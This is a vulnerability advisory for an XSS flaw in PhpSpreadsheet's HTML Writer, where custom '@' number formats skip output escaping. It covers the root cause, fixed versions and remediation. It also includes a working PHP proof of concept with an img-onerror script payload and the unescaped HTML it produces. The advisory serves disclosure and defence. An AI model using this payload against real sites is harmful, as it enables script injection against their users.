CVE-2026-35453: PhpSpreadsheet XSS via number format text substitution in HTML Writer
Summary The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.
Details
1. Conditional escaping in Html.php:1586-1594
php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMATGENERAL, [$this, 'formatColor'] );
if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags()); }
htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.
2. Early return in Formatter.php:136-152
php if (pregmatch(self::SECTIONSPLIT, $format) === 0 && pregmatch(self::SYMBOLAT, $formatx) === 1) { if (!strcontains($format, '"')) { return strreplace('@', / raw value /, $format); } return strreplace(/ ... pregreplace with raw value ... /); }
When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.
PoC
test.php php <?php
require '/app/vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html;
$spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet();
$payload = '<img src=x onerror=alert(document.domain)>'; $formatCode = '@ "items"';
$sheet->setCellValue('A1', $payload); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);
$writer = new Html($spreadsheet); $html = $writer->generateHTMLAll();
fileputcontents('/app/output.html', $html);
echo "HTML output saved to /app/output.html\n";
The produced output contains unescaped data. html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" /> <title>Untitled Spreadsheet</title> <meta name="author" content="Unknown Creator" /> <meta name="title" content="Untitled Spreadsheet" /> <meta name="lastModifiedBy" content="Unknown Creator" /> <meta name="created" content="2026-04-02T16:34:44+00:00" /> <meta name="modified" content="2026-04-02T16:34:44+00:00" /> <style type="text/css"> [..SNIP..] </style> </head>
<body> <div style='page: page0'> <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'> <col class="col0" /> <tbody> <tr class="row0"> <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td> </tr> </tbody></table> </div> </body> </html>
<img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" />
Impact
The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.
Other sources
PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.3 and earlier, 2.0.0 through 2.1.15, 2.2.0 through 2.4.4, 3.3.0 through 3.10.4, and 4.0.0 through 5.6.0, the HTML Writer skips htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items"). The escaping is only applied when the formatted output strictly equals the original cell value. When the format code contains @ with quoted literal text, the formatter substitutes the raw cell value into the format string and returns early without invoking the escaping callback. An attacker who can control cell content in a spreadsheet processed by the HTML Writer can inject arbitrary HTML and JavaScript into the generated output. This issue has been fixed in versions 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 1.30.4 - Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 2.1.16 - Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 2.4.5 - Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 3.10.5 - Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 5.7.0 - Upgrade
Upgrade
PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 1.30.4 - Upgrade
Upgrade
PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 2.1.16 - Upgrade
Upgrade
PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 2.4.5 - Upgrade
Upgrade
PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 3.10.5 - Upgrade
Upgrade
PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 5.7.0 - Compensating control
If you must process spreadsheets with older PhpSpreadsheet versions, ensure spreadsheet data used for HTML Writer output is not attacker-controlled; otherwise the Html Writer can inject unescaped HTML/JavaScript via custom number format text substitution for the @ placeholder (e.g., @ "items").
- Operational
After upgrading PhpSpreadsheet to a fixed version, regenerate any previously produced HTML outputs from processed spreadsheets to ensure the vulnerable unescaped output is not served or distributed.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-35453?
CVE-2026-35453 is considered a moderate severity vulnerability due to its potential for arbitrary HTML and JavaScript injection.
How do I fix CVE-2026-35453?
To remediate CVE-2026-35453, upgrade PhpSpreadsheet to version 1.30.4, 2.1.16, 2.4.5, 3.10.5, or 5.7.0 depending on your current version.
What versions are affected by CVE-2026-35453?
CVE-2026-35453 affects PhpSpreadsheet versions up to 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.
What is the nature of the vulnerability CVE-2026-35453?
CVE-2026-35453 allows attackers to bypass output escaping, potentially leading to cross-site scripting attacks.
Can CVE-2026-35453 be exploited remotely?
Yes, CVE-2026-35453 can be exploited remotely since it involves manipulating custom number formats in PhpSpreadsheet.